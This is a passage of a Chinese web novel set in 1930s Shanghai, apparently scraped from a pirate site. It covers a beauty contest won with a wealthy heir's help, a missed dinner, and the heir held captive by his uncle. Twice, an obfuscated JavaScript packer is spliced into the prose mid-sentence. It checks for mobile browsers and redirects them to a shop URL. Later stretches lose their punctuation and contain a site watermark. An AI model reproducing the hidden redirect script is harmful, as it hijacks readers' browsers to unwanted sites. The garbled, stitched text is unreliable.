“不是。”电话那头换了高筱文,她的语气比董沁芳还要兴奋,“我和沁芳姐刚准备把写好的文章送到相熟的报社去,报社却说刚有人把另一篇稿子送过来,竟有人跟你想到了一模一样的破局办法!谁?你自己来看看就知道了,对了,过来的时候记得在路边买份新出的新申晚报,包你一看就高兴到不行。” *** 白龙帮总会,邱大鹏噙着笑陪曹振元下棋。 这次逸菲林能够大获全胜,他邱大鹏可谓居功至伟,曹帮主脸色比前几日好了不少,今日中午还特地把凌云叫到桌上作陪,明眼人都看得出,经此一役,曹帮主对他们父子的信重更胜从前。 只是万万没想到闻亭丽的性子竟那样倔,被逼到那份上也不肯退赛。 那就怨不得他心狠手毒了! 外头忽有人敲门,阿鲁急急忙忙进来了。 曹帮主满面春风发问:“如何?沪上之花的门票是不是退得差不多了?” “情况好像不太对。”阿鲁硬着头皮将新到的几份晚报递给二人。 邱大鹏探头一望,几行惊人的字句直钻进他的心窝。 那是一则极为简短的新闻,但由于发布在发行量最大的新申晚报上,于是有了不同寻常的分量。 标题是【上海妇女协会副会长王安平女士抗议秋华公司为富不仁、见利忘义。】 “今日下午,本报接到王会长的举报,秋华公司与沪上之花热门选手闻亭丽小姐签订了一份合作协议,约定决赛后闻小姐以【沪上之花冠军的身份】为其拍摄广告,闻小姐社会经验不足,并未发现条约中的陷阱……前几日因父亲骤然离世,闻小姐决心退赛,秋华公司负责人以违反合同为由,要求闻小姐十倍赔偿该公司损失……” 文章下面附有秋华公司跟闻亭丽那份合同的原件照片,签约日期赫然是上个月。 邱大鹏脸色由红转青,渐渐又由青转黑,最后变成一片死灰。 这实在是个高明之极的办法,如此一来,闻亭丽不但成为了彻头彻尾的受害者,坊间还会因为心生同情纷纷跑去欣欣捧场,逸菲林恐将迎来必败之局! “假的!”他咬牙切齿地,“一定是假的,这分明是某个假公司为了帮闻亭丽解围临时拟出的假合同!我就不信会有正规公司愿意为了一个不相干的小姑娘做到这一步!” 曹振元气急败坏将报纸甩到邱大鹏的脸上:“蠢猪!都已经登报了,你还给我嘴硬!看到你这副自作聪明的样子就来气!滚滚滚,再不滚,老子一枪毙了你!狗东西!你们几个还站着做出什么,还不赶快查清秋华公司的底细!” 阿鲁硬着头皮说:“已经查过了,那是陆家名下的一家公司,持股人是……陆世澄。” 作者有话要说 今天的两章都有红包,不要错过哦。 第 38 章 他的善意。 第38章他的善意。 闻亭丽悄悄掀开帷幕的一角向下看。 偌大一座露天剧院,竟是座无虚席。 董沁芳告诉她,从傍晚到现在,陆续有大量顾客进场,现在商场内不只举行比赛的七楼花园人满为患,其他楼层也挤满了前来看热闹的市民。 一楼饮料部的汽水已全部售空,各层营业部也都忙得不可开交。 白龙帮大概做梦也想不到,枉他们在报上搅天搅地,欣欣非但没陷入低潮,相反还因为他们前期的卖力“演出”,迎来了自开业以来最热闹的一夜。 闻亭丽的注意力牢牢锁在前排的贵宾席上。 她无比盼望能在观众席上看到陆世澄。 她要当面向他道谢。 继昨晚新民晚报爆出秋华公司和她的那则新闻之后,情势一下子出现了逆转。 有记者查到这家秋华公司来自南洋,此次与闻亭丽合作的“丽人酸梅糖”,是秋华公司打入上海市场的第一款重量级产品,他们极为重视该产品的宣传,找闻亭丽小姐合作也是看中她最近风头正健。 为呈现出最好的广告效果,秋华公司提前为闻小姐量身裁制洋装,并特地从美利坚请来了一支经验丰富的西洋摄影团队, 不料闻亭丽父亲蓦然离世,闻亭丽因太过悲痛无心继续参赛,秋华公司除了向她索赔合同里规定的违约金,还以“美利坚摄影师每在上海滞留一天,鄙公司就需多支付一天费用”为由,要求闻亭丽十倍偿付该部分的损失。 【事到如今,闻小姐才知道合同中暗藏那样多险恶的条款。】 【呜呼哀哉,闻小姐‘其情可悯,其志堪怜’——闻父生连月来一直在慈心医院治病,闻小姐参加沪上之花选美比赛的初衷,正是为了替父亲筹措医药费用,据悉闻父卧病期间,闻小姐在床前极尽孝道,此事经由慈心医院的汤普生大夫及一众病友亲口证实……云云。】 这些消息陆续爆出后,那些关注此事的人们对闻亭丽由质疑转化为同情。不到半天工夫,欣欣经理部的门前堆满了观众送给闻亭丽的鲜花和礼物,观众们迫切希望闻亭丽能在比赛中拿到冠军,以避免被秋华公司恶意索赔。 于是就出现今晚这空前 热闹的一幕。 与此同时,秋华公司拒绝对此事作出任何回应,这种“傲慢的态度惹得外界议论纷纷,同时也进一步扩大了此次事件的影响力。 高筱文兴冲冲到后台来找闻亭丽,一进门就发现闻亭丽坐在化妆镜前沉思,大剌剌宽慰道:“别担心,陆家处理这种状况很有经验,别看报上闹得凶,外界至今没摸透秋华的真正底细,顶多闹一阵也就消停了。 话虽如此,闻亭丽仍感到有些不安。 可惜昨天下午秋华公司送合同时只派出了营业部的一个经理,陆世澄自己并未露面。 闻亭丽向该经理打听,经理只说“陆小先生最近很忙,今天这事还是吩咐方达先生代办的。 闻亭丽一度想打电话给邝志林的寓所,可终究因为觉得有点冒昧而放弃,因此,直到上台的这一刻她都没能见上陆世澄一面。 忽听幕前的主持人说:“让我们有请十七号选手闻亭丽小姐。 全场爆发出潮水般的掌声,声浪高得几乎将台上的人淹没。 闻亭丽不得不暂且放下心中杂念走到台前。 “闻小姐,加油!“别怕!我们大家都支持你! 闻亭丽心中百感交集,深深对台下鞠了一躬。接下来的表演没有让众人失望,她贡献了比初赛更为精彩的一场节目。 依旧是滑稽戏,这次她演的是“一个养猫的人。故事里,一位教书先生养了一只猫,老先生闲来无事,最大爱好是背书和骂猫,猫被骂之后心里很不服气,于是变着法子捉弄主人。 碍于场地的限制,大猫从头到尾只是老先生手里一个用暗线牵着的白毛团道具,可仅仅凭着一人一偶,闻亭丽不但将一个满身酸腐气的老叟演得活灵活现,还演活了一只小肚鸡肠的大猫。 观众们笑得前仰后合,这些场景家家都有、日日都发生,但越是贴近生活,越能引起大家的情感共鸣,何况台上这位“老先生实际上是一个小姑娘,偏偏她的言行举止与生活中的老爷叔一般无二,观众只要一想到这点,就钦佩得直拍大腿。 黄远山在台下感慨万千:“真是个疯子!只要她往聚光灯下一站,她连自己是谁都能忘记,谁能不被这种忘我和专注所打动?她闻亭丽就是为演戏而生的,当初在秀德中学 第一次看她演话剧我就知道她有这天赋! 谢幕时,闻亭丽泪流满面。 观众们看在眼里,愈发卖力地鼓起掌来,这姑娘最近的遭遇换到谁身上都会脱一层皮,但刚才的表演精彩到让现场所有人一度忘记了所有烦恼。 就连原本只是过来看看热闹的过路人,也都心悦诚服为闻亭丽鼓掌。 闻亭丽在如雷般的掌声中下了台,董沁芳上前给她一个大大的拥抱。不用说,明天将有不少报纸自发报道这场演出,欣欣的热度将持续好一段日子。 在后头的评奖环节中,闻亭丽不负众望拿下了“沪上之花的冠军。 *** 当晚,陆公馆外的林荫道上。 一辆罗尔斯·罗伊牌轿车疾驰而来,陆公馆的铁门缓缓向两侧打开。 突然间,一个女孩从树荫里闪身出来对着车内喊了声:“陆先生! 车内坐着的却不是陆世澄,而是方达。 他循声向外一望,认出女孩是闻亭丽,她穿一件寡素的黑缎宽身旗袍,头上戴着白,面庞清瘦了不少,五官愈发夺目,只是身上太瘦,乍然从树影里走出来时,像一抹飘渺的影子。 近看,才注意到闻亭丽不只额上有汗,脸蛋上还有两个被蚊虫叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409286|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的小红包, 看样子,她在树底下等了许久了。 “闻小姐。 闻亭丽到了车窗旁才发现陆世澄不在车里,她掩饰不住失望的神色。 “方先生好。 方达忙推开车门下了车。 “闻小姐是来找陆小先生的?来此多久了? “比赛完就来了。闻亭丽声音有点沙哑,“这次的事多亏有陆先生帮忙,明早家父就出殡了,在那之前我想当面向陆先生道谢。 “闻小姐节哀。方达体谅地点点头,“非常不巧,今晚陆小先生手头有要紧的事在忙,大概要夜里两三点钟再回来,如果闻小姐不介意,可以进公馆里等。 那太晚了。对于忙了一天的陆世澄来说,那只会是一种打搅,何况她还得回去守灵。 “有什么话,我可以替你转达给澄少爷。 闻亭丽将手中的一个锦盒郑重其事奉给方达。 “麻烦方先生帮我把这份礼物转 交给陆先生。”她解释道,“这是今晚‘沪上之花’冠军的奖品,仅此一份,是清末一位青浦的老绣娘绣的顾绣,手艺相当不俗,希望陆先生别嫌粗陋,当然陆先生帮的这次大忙,绝不是这样小小的一份礼就能回报的,我只是——” 方达赶忙收下锦盒:“闻小姐多虑了,陆先生绝不会嫌粗陋的。” 闻亭丽一时间不知该说些什么,踟蹰许久,不禁又问:“不知陆先生明天是否有空见我一面?起码让我当面谢他一回。” 方达微笑:“若是为了秋华公司的事,闻小姐不必有太多顾虑,陆小先生曾有过交代,陆家名下另一家糖果公司近日准备上市一款梨汁糖水,为促进销量,正计划找人打广告,如果闻小姐不介意,可以考虑免费帮这款梨汁做一年的广告,敝公司会深感荣幸的。” “这是陆先生的原话?” “陆先生正是这么交代的。” 闻亭丽滞了片刻,脸上突然绽放出灿烂的笑容,边笑边点头:“我愿意!我再愿意不过了!” 她心里从未这样轻松、庆幸、释然。 陆世澄帮她的这个忙,对她来说就像一座迈不过去的大山。 诚然,在打过这么多次交道之后,她已经相当了解陆世澄的为人,他不会借机向她提任何要求,他甚至不大会把这件事放在心上,但他毕竟在危难时刻向她伸了一把手,这让她在感激之余,心头也压着一块巨石。 这样重的一份人情,也不知何时才能还完。 可她万万没想到,他这么快就向她索要了“报酬”,而且是以一种平视她人格的,光明正大的方式。 她几乎一瞬间就卸下了思想上的沉重负担。 “我愿意,别说一年,为贵公司免费打上两三年广告都可以。”她高兴得语无伦次,“明天忙完丧礼的事,我可以马上跟贵公司签订合同。” 作者有话要说 第 39 章 【加更】心念。 第39章【加更】心念。 方达笑着说:“那么,等闻小姐忙完手头的事,请尽快到曙光大厦来商谈具体事宜。凭闻小姐现在的名气,由你来打这个广告,销量准会不错。” 话讲得这样聪明,态度又这样尊重,闻亭丽来时心里的不安和沉重,早已被一份踏实感和使命感所取代。 “好。”她十分慎重地接过了方达的名片,有点迫切地说,“一忙完父亲的葬礼,我就跟方先生联络。” *** 安葬完父亲后,闻亭丽成日闭门不出,整整消沉了十来天,这才强打精神在新租的寓所里请黄远山几个吃饭。 这次的事,幸亏有几个好朋友全程陪伴在她身边,否则她纵算不死也要脱层皮。 她在东华楼订了熟菜,又到附近买了水果和冰镇汽水,整整忙活了一下午,布置出一桌温馨且丰盛的晚餐。 朋友们为了帮闻亭丽从丧父的悲痛中走出来,专门只聊些轻松的话题,高筱文手里端着一杯果汁,在房间里走来走去四处参观。 “居然还有电话和唱片机!哇,阳台也不小。这样好的三间房,一个月只要二十五块大洋?” “凶宅嘛,估计是长久租不出去才降价。”黄远山立在窗口向外张望,“刚才开车进来都没看见几个杂货铺。咦,闻亭丽,对面那排房子是做什么的?怎么有点阴森森的。” 碰巧闻亭丽拎着开水瓶从外头进来,循声往外一看。 “好像是一间废弃的厂子,听说夜里经常传出一些奇怪的声音,所谓凶宅就是因此而得名的,大家都不愿意在这附近租房子。” 周嫂接话:“中午带小桃子去玩,看到厂子的大门上有把新锁,料着是有主的,就不知为何长期空置着。” 黄远山有点失望:“多可惜,这样大的一排厂房正好拿来拍戏搭景。” 高筱文笑着说:“凶宅你也敢要?我就没见过像你这么抠门的大导演。” “没办法,我们这一行实在不好做,换你来当导演,说不定比我更抠门,再说了,我是从不相信这世上有鬼的,不然那些恶人早就遭报应了。” “你们快来听听这个。”沙发上,燕珍珍和赵青萝头靠着头对着一份报纸 ,一字一句念道: 【今早,欣欣百货的董大小姐兑现了此前的承诺,在上海妇女协会的见证下,将‘沪上之花’比赛所得的全部收入,悉数捐给了红十字会和福利院,又从私人积蓄中拿出十万法郎捐给了妇女儿童福利组织。】 【此番义举,为一波三折的‘沪上之花’比赛画上了圆满的句号。】 黄远山和高筱文拍手叫好。 “对了黄姐,这回闻亭丽也算正式忙完了,你们那部戏也快开拍了吧?” “下礼拜二正式开机。”黄远山绽放出个信心十足的笑容。 “提前说好了,拍的时候一定给我的傲霜粉饼多安排几个镜头。” “没问题!喂,闻亭丽,我都快饿死了,怎么还不开饭?” 闻亭丽在里头应道:“快了快了,还有一位贵客马上就到了。” 忽听外头有人按门铃,燕珍珍跑去开门,来人却是董沁芳。 董沁芳带来了一瓶香槟:“恕我来迟了。” 大伙欢然雷动:“果然是贵客!快请入席!” 晚餐在一种欢趣融洽的美妙氛围中结束。 饭毕,燕珍珍、高筱文和赵青萝三人挤在阳台上,一边吹着夜风,一边闲聊务实中学各同窗毕业后的去向。 董沁芳则跟黄远山在客厅里聊着沪上最近发生的趣事,间或发出爽朗的笑声。 在这种静谧而快乐的氛围中,闻亭丽也获得了久违的放松,翻出一张唱片搁到唱片机上,让轻曼的音乐声在房中每个角落流淌,她自己则带着小桃子去沏茶。路过客厅时,董沁芳一把拽住闻亭丽。 “你跟陆世澄究竟怎么回事?” 闻亭丽一愕。黄远山把胳膊搭在沙发背上,懒洋洋笑着说:“你别装糊涂,最近报纸上天天有记者帮你骂秋华公司,陆世澄要不是跟你交情极深,怎会愿意给自己惹这样的麻烦。” 闻亭丽坐下来懊丧地叹口气:“我巴不得自己跟陆先生交情够深,但事实上我跟他连朋友都算不上,陆先生这人,外冷内热,他帮我,兴许只是因为我是务实毕业的学生,而且邹校长历来很关心我,又或者,他只是单纯看不惯白龙帮的所作所为。” “少来!”黄远山摆摆手,“务实的学生那么多,怎么没看到他个个都帮忙? ” 董沁芳截住黄远山的话头:“上次你不是去找过陆世澄么?见到他了吗?他怎么跟你说的?” “他要我帮他公司的某个产品打上一年的免费广告,但我连他的面都没见着。” “漂亮!”高筱文把头从阳台探进来,“这个忙要是换成我大哥来帮,不逼人家女孩子做他一阵子女朋友才有鬼了。” 董沁芳奇道:“你们不了解陆世澄的性子吗?” 对上一屋子好奇的目光,董沁芳不紧不慢说起自己第一次在陆公馆见倒陆世澄的情形。 当时陆家还是陆二爷和陆三爷主事,陆世澄则刚从南洋转回上海念书。陆三爷向董家人介绍陆世澄只说:我这侄子是个哑巴,性子也内向,大家务必多担待。 这话听上去有点怪,董沁芳一度以为陆世澄行事不大方,或者至少比较愚笨。正式打交道才知道,当晚那么多年轻人,陆世澄是最沉稳出色的那个,那种风范极难用言语形容,她只觉得觉得这少年就像一颗沉在深海底的珍珠:沉静、温润、流光溢彩。一经浮出水面,光芒谁也压不住。 当时董沁芳就隐约觉得,这个家早晚要由陆世澄来主事。 事实上,陆二爷和陆三爷也一直有意殚压陆世澄。 “可是后头的事大家都知道了,他差点把他两个叔父一块打包去见阎王。”董沁芳耸耸肩,“所以,尽管你们不信闻亭丽的话,我还是有点相信的。此人比别的世家子弟都要低调和务实,而且,从不按照常理出牌。这一次他帮了就帮了,兴许真不图闻亭丽什么,要图谋的话,早就图了。” 高筱文越听越好奇,进来挨着董沁芳坐下:“我只奇怪一件事,陆世澄回上海这么久,为何从未找过女朋友?上次我去北平给我二姨祝寿,几位亲戚家的大小姐听说我在务实念书,一窝蜂凑上来向我打听陆世澄的情况,我这才知道陆世澄在北平名声也很响,你们猜她们背地里叫他什么——‘雪山一松’。意思是陆世澄就跟冰山里的松树一样,再漂亮再招人爱,也难以接近。” 一屋子人都笑了:“雪山一松?亏你那几个朋友形容得出来。” 董沁芳边笑边说:“这一点你们想想陆家现在的境况就知道了,我听几个知情人说,陆三爷为了夺回大权,近一两年没少变着花样谋害 陆世澄,这种情况下,陆世澄对于各类主动接近自己的人怎能不抱有防备心理?我要是他,也不会轻易跟人谈恋爱。” 黄远山兴趣浓厚地研究着闻亭丽的表情:“听见了吧,不管怎么说,陆世澄绝不是个喜欢招惹是非的人,这次你遇到大麻烦,他却毫不犹豫地出了手,要说他对你没半点意思我是万万不信的。” 闻亭丽只在脑子里回想那一晚陆世澄送她回慈心医院的情形。 她何止在心里产生过猜疑,她还做出了让自己后悔至今的举动。 “没有!”她斩钉截铁地说,“别的我不敢肯定,但我敢肯定陆先生对我绝没有那个意思。” “语气这样笃定,难不成你问过他?”赵青萝好奇道。 闻亭丽忙岔开话题:“你们听,厨房里的水是不是烧开了?我去瞧瞧。” 黄远山笑得前仰后合:“你看她跑得多快,以她的性子说不定真问过,闻亭丽,就算陆世澄当面拒绝过你也说明不了什么,一个人对你有没有心,最终还得看他为你做了什么。陆世澄又没谈过恋爱,没准他自己也闹不清对你是怎么回事。喂,听见没,主动出击从来不是男人的专利,你可千万别被那些老学究的话给套住了!该积极的时候,尽可以大胆些。” “黄姐,真看不出你对爱情这样有研究。” “那当然,爱情可是电影届永恒的主题之一,一个导演若是对爱情和人性缺乏深刻的研究,是绝不可能拍出好片子的。当年在宾夕法尼亚大学念书时,我可是专门选修过爱情心理学课程的。” 当晚,这帮朋友在闻亭丽家里尽情玩闹到十点多才离去。 夜里躺到床上时,闻亭丽却很罕见地失眠了。 她在琢磨董沁芳和黄远山的那些话。 “这种情况下,陆世澄对于主动接近他的人怎能不抱有防备心理?我要是他,也不会轻易跟人谈恋爱。” 想着想着,闻亭丽一骨碌在床上坐了起来。屋里早已熄了灯,一方银白的月光从窗口伸进来,静悄悄照亮床边的地板。 闻亭丽望着那道光,心房里像有根羽毛在轻轻地抓挠。 黄远山的嗓音在她耳边回旋。 “他说他对你没意思你就信了,你得看他为你做了什么。” “没准 他自己也闹不清对你是怎么回事。 她脑子里冒出一个大胆的念头,要不要…… 月光似在软软地在劝她——试试吧,试试吧,试试又不会损失什么。你不是一向敢想敢做吗,来吧,再大胆一次吧。闻亭丽,别叫我瞧不起你。 这一想,她忙不迭下地趿鞋。 偏在这时,耳边跳出另一个声音——闻亭丽,你确定这一次还要自作多情吗?他不见你,不就是因为怕你误会? 这一想,闻亭丽再次颓丧地把脚缩回床上,顺便把被子蒙到脑袋上。 可即便蒙上了被子,心里仍旧很吵,在床上翻来覆去,也不知过了多久才睡着。 *** 陆公馆。 方达指着一份报纸笑道:“少爷刚回来,还没看最近的报纸吧。闻小姐倒真是个人物,此前我还担心她被白龙帮影响情绪和状态,没想到她在决赛夜表现得比上次更出彩,不错,是个做大事的人。听说这十来天欣欣的营业额都超过上个月一整月的收入了,哦对了—— 方达返身从外屋取出一个锦盒:“这是那天晚上闻小姐拜托我转交给澄少爷的礼物,我听说只是一副顾绣,就自作主张收下了,要拆开看看吗? 陆世澄伸手把盒子拿过来,自己打开盖子。 锦盒里是一个圆型的小绣屏,上面绣着一只栩栩如生的猫,猫毛洁白胜雪,猫眼澈如琉璃,猫爪正扒拉一个五彩斑斓的小绣球,表情活泼而自信。 陆世澄凝神端详着绣屏上的猫,那猫也似在跟他调皮对视。 长得可真像闻亭丽。 他有点怀疑这是闻亭丽拿着自己的照片去绣坊定制的。 方达察言观色,对这绣屏赞不绝口:“闻小姐真是用心,这东西不村不俗,不管放在屋子里哪个角落都自成一景。 又笑道:“对了,喜俪梨汁的广告合同已经拟好了,若是先生看了也觉得没问题,我就约闻小姐今天傍晚在曙光大厦签字了。 他将合同拿给陆世澄过目。 陆世澄接过来慢慢翻看。 【闻亭丽那边没问题?】 “闻小姐甚至表示愿意免费帮我们打上三整年的广告。 陆世澄没吭声,只将身子向后靠到椅背上,同时高高举 起合同挡住自己的脸,仿佛要认真研究合同上的每一个字。 方达忍俊不禁:“那我马上给闻小姐打电话约时间? 看出陆世澄并无反对之意,方达迳自走到一边拿起电话。 “闻小姐,我是方达。 聊了几句,方达回头朝陆世澄看了看,对着电话那边笑着说:“不行,这一套在陆先生面前完全行不通,他从不会因为这番说辞就见客的。 陆世澄好奇放下合同,方达看在眼里,忙改口说:“我帮你问问陆先生,待会再给你回话。 放下电话后,他说:“闻小姐说她在陶陶居订了晚餐的位置,今天签完合同后,她想请陆先生吃顿便饭,她说有件重要的事要当面跟你说。 今天?陆世澄一滞,今天不行,这几天陆克俭不时传来一些异动,他在等他们自己露出马脚,暂时还不能轻举妄动。 方达看陆世澄久久不肯接茬,笑道:“闻小姐说这件事极其重要,非当面跟陆先生说不可。她说她不会占用陆先生太多时间,若是陆先生不肯见她,她就一直在陶陶居等,直到陆先生有空来见她为止。 陆世澄心里有点乱,起身在桌前来回踱步。 方达目光跟随着陆世澄:“记得陶陶居离曙光大厦不远,一顿饭也要不了多少时间,万一闻小姐真有什么要紧的事呢。 陆世澄回眸朝方达射了一眼, 方达干笑着把话咽了回去。 陆世澄想了想,指指门外,你手头还有一堆事情要忙,要不你先回去吧。 方达一听便知陆世澄这是不会去了,只好说:“是。 方达走后,陆世澄继续翻阅手头那堆公函,然而公函上的字仿佛在眼前跳动,看了半晌,连一个字都没能看进去。 到最后,他索性把笔扔到一旁,揿铃把陈管家叫进来,叫他帮自己给闻亭丽回个电话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对着菜谱足足研究了十多分钟她非常谨慎地订下了五菜一汤全是色香味俱全的名菜且都符合陆世澄的口味末了她交代店里:先上点心和小菜八点之后再上正菜。 仆欧一走闻亭丽仰头看看钟 这一想她捂住胸口紧张地吁了几口气忽又低头轻轻笑了起来。 她简直搞不清楚自己此刻的心情仿佛很紧张却又充满着期待同时还有一点罕 见的含羞以及一点点担忧。 至于在担忧什么她决定先不去想它。 坐了一会她悄悄从包里拿出高筱文送她的粉膏出门前她特地擦了点粉嘴上也涂上了樱桃色口红。 镜子一打开一双含着笑意的眼睛骤然出现在面前怎么会有那样亮的眸子黑瞳里像揉碎了金子又像是春日里的水池每一瞥都好似有水波在荡漾。 闻亭丽是头一回看到这样的自己全然陌生却异乎寻常地可爱左一瞥又一瞥近看远看越看越觉得奇怪她索性收好粉饼直起身趴到窗口托腮看起了风景。 望着望着天边从橘红色变成了暗蓝色再然后那点蓝也消失了到最后天幕变成了黑丝绒似的一大块雾沉沉星光也稀少街上的灯逐一亮了起来仆欧进来揿亮房里的西洋壁灯。 闻亭丽坐到灯下继续等。 走廊上来来往往都是客人独她这一隅格外安静。 她耐心地在茶杯里沾了水在桌上写写画画时不时在心里筹划着待会见到陆世澄第一句话该说什么。 突然间 “小姐可以上菜了吗?” “再等等我的客人还没到。” “可是再不上菜的话厨房就要下班了。” 闻亭丽抬头惊觉时间已到九点了。 菜上桌后闻亭丽拜托店家用盘子将菜一一罩上时间的确不早了但她期待的心情丝毫未受影响陆世澄早说了自己会很晚也许他此刻已经在赶来的路上。 外头客人们似乎正成批离开走廊上充斥着醉话和笑声不久之后外头便彻底安静下来偶尔有人在门外走过也是店里的伙计。 终于有人进来歉然说:“小姐我们打烊了。” 闻亭丽耷拉着脑袋。 再没有比这更令人尴尬的场面了高高兴兴张罗了一桌菜客人没来。 十点了。陆世澄再怎么忙这个点也能赶到了。即使是临时有急事不能来以陆世澄的为人一定也会找人通知她的。 所以他这是明明白白地爽约了。 她的一腔期待和热情一瞬间全化作了难堪和不解。 她知道陆世澄不是个说话不算 话的人但凡事总有例外。或许他猜到今晚这顿饭意味着什么因为不想令她尴尬所以干脆避而不见。 总之不管怎么说再枯等下去就有点可怜了门外又多了几个茶房大伙都好奇地望着她闻亭丽闷闷地起身:“麻烦帮我把菜包起来。” *** 回到家周嫂吓一跳:“脸色怎么这样难看!生病了?” 闻亭丽进屋第一句话却是:“今晚陆先生身边的人有没有打过电话来?” “没有啊。”周嫂莫名其妙。 闻亭丽失望到极点一言不发把菜盒递给周嫂没精打采回到自己的卧室仰天倒到床上。 周嫂有点着急:“究竟哪里不舒服?要不去请大夫?” 闻亭丽抬手盖住自己的额头:“跑了一整天有点累到了没事的小桃子睡了吗?” 周嫂稍稍心安:“小桃子知道姐姐会晚一点回来她等不及就先睡了。对了傍晚有个叫平的女人打电话找你她让你一回来就回这个电话。” 闻亭丽翻身爬起来电话拨过去厉成英的声音有点急切:“半个钟头后我来找你你新寓所那一块我不大熟我们在何处碰面?” 闻亭丽忙说:“我家附近有家废弃的工厂待会你到了之后 挂掉电话闻亭丽迅速换了一套方便行动的衣裤把手电筒塞进书包里对周嫂说自己出去买点药轻手轻脚走出来。 到了地方闻亭丽先是小心翼翼察看一圈确定四周没有人这才在仓库后门坐了下来。 在黑暗中独自等了一会那种恼人的情绪又找上门来了。 其实比起难堪她现在更多的是费解这实在不像是陆世澄会做得出来的事。怎么会一句交代都没有?他自己答应了会来的不是吗? 害她白等一个晚上他真不打算对她说句不好意思么纵算自己抽不出空也可以让身边人帮着通知她一句。 罢了罢了闻亭丽潇洒地对着地上的影子摆摆手。无论如何陆世澄的态度已经相当明朗了上次人家帮忙是出于一片好心不代表对她真有什么意思 第 40 章 宿命。 第40章宿命。 闻亭丽必须紧捂住自己的嘴才不至于发出惊叫。 这一幕太惊人,也太刺心,她甚至无法确定陆世澄还活着。 有两个人过去小心翼翼察看,其中一人忽然吓得往后一缩手。 “他醒了!” “醒了就醒了,鬼叫什么?!”邱凌云瞪着眼睛骂道。 陆三爷摆摆手,那道光束再次从陆世澄的胸腹处缓缓向上移去,忽一瞬,那光定格在了陆世澄的脸上。 陆世澄被光刺得睁不开眼。 陆三爷示意手下把光亮从陆世澄的脸上移开一些。 起初几秒,陆世澄一动不动伏在地上,这令他看上去像一片毫无生命迹象的枯叶。 没多久,他开始艰难地转动脑袋打量四周环境。 他这一动,闻亭丽掌心几乎掐进手心里,她断定陆世澄伤得很重,因为每挪一下,他都要无声喘息很久,他的后脑勺似乎也受了伤,颈后的衬衣领子全染红了。 最后,陆世澄缓缓抬头望向脚边方向的陆三爷。 没有多余的表情,这一眼却令人不寒而栗。 有个人从陆三爷身后走出来恶狠狠掐住陆世澄的下巴:“看什么看?三爷,要不要教训他一下?” 陆三爷慢条斯理挥了挥手:“你们先退下,我有几句话要跟他说。” 众人散去后,院子里便只剩陆三爷和陆世澄。 一阵风吹过,陆三爷阴着脸推动轮椅靠近陆世澄。 陆世澄在地上微微喘着气,双眼却牢牢盯住陆三爷。 陆三爷轻轻嗤笑一声:“我最讨厌你这样看着我,明明还是个孩子,却总是用这种审视的眼神打量我和二哥,有时候真让人心里发毛,可每当我察觉不对劲回头看你,你就低头玩自己的玩具,那模样再乖巧不过,这样会伪装,整整骗了我们十来年!早知道你猜到了真相,你以为你能活到成年?若是一早就除掉了你这个祸根,我和二哥又何至于被你坑害得这么惨!” 说到此处,陆三爷泄愤似地捶打起了自己的双腿,他的两条腿竟像是两截枯木做的,“砰砰砰”一阵怪响。 陆世澄无声笑起来。 笑容里有快意、 有嘲讽、有挑衅,唯独没有愧疚。 这表情狠狠刺痛了陆三爷,他黑着脸从上衣口袋里掏出一把枪对准了陆世澄。 “信不信我现在就杀了你?! 陆世澄非但没有半点惧意,笑意反而更深了,那是一种赤裸裸的鄙夷和嘲弄。 陆三爷额角一跳,忽又阴恻恻笑了起来:“不行,现在就杀了你的话,未免也太便宜你了。老头子的印还在你手上,众厂子和银行的事务等着交接,且让你再多活两天,等我把本该属于我的东西一一拿回来,再对外宣布你的死讯也不迟。 他将上半身向前一倾,颇有兴致地端详陆世澄的脸。 “是不是恨透了三叔?再恨又能怎么办,输了就得认栽! 他笑得肩膀一抖一抖的,从里到外都笑透了。 “瞧瞧你的样子,人人都说你跟你母亲长得像,我却觉得你的神情跟你父亲如出一辙,尤其你现在这个眼神,当年你父亲就是这样打量我和二哥的! 一提到陆世澄的父亲,陆三爷眼神里涌现出赤裸裸的嫉恨。 “是,他是正房太太生的,我和二哥是人人瞧不起的南洋杂种,他占尽了天时地利人和,照理也该知足了。可他偏偏以兄长自居,处处对我们指手画脚。那一年,我和二哥只是想做点自己的小事,你父亲就说我们败坏了陆家的门风,执意要把那件事捅到爹那儿去! 他放声冷笑:“我真想不明白,他究竟还有什么不知足的?他是未来的大家长,等他正式当了家,我和二哥只能过仰人鼻息的生活!可他还要处处跟我们过不去,他不仁,就别怪我们不义! 陆世澄面无表情撑起两只胳膊,试图向外挪动,但他显然伤得很重,每次只能挪动半寸的距离。 陆三爷不紧不慢推动轮椅跟上去,蓦然一拐弯,车轱辘恰巧压住了陆世澄的手指。 陆世澄的脸色一瞬间变得惨白如纸,可他无法喊出声,只能硬生生扛着。 闻亭丽看得浑身发颤,但理智告诉她,此刻贸然出去救人的话,连她也会没命,不行,她得等一个恰当的时机。 可是这场面实在残忍,让人不忍再看,她紧紧闭上眼睛。 “疼不疼? 在只有你我二人疼的话你就喊出来只要你肯开口向三叔求饶再诚心诚意代替你父亲给我重重磕三个响头向我赔罪我就饶你一命。” 场子里死一般的寂静陆三爷一嗤:“论性子倔陆家没人比得过你。” 他愉悦地拍了拍掌。 那帮人奔进来。 “好好看着他。邝志林还没落到我们手里今明两天是最关键的一战这边一定要多加人手万不可有任何闪失。” “三爷放心。”邱凌云朗声说“路口已经安排了四个人把守厂子里还会留下四个人除此之外我爹一忙完就会带人过来我敢保证 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节)今晚这地方连一只苍蝇都飞不进来。邝志林那边是重头戏曹帮主已经亲自带人过去了三爷您自管带人前去跟曹帮主接应。” 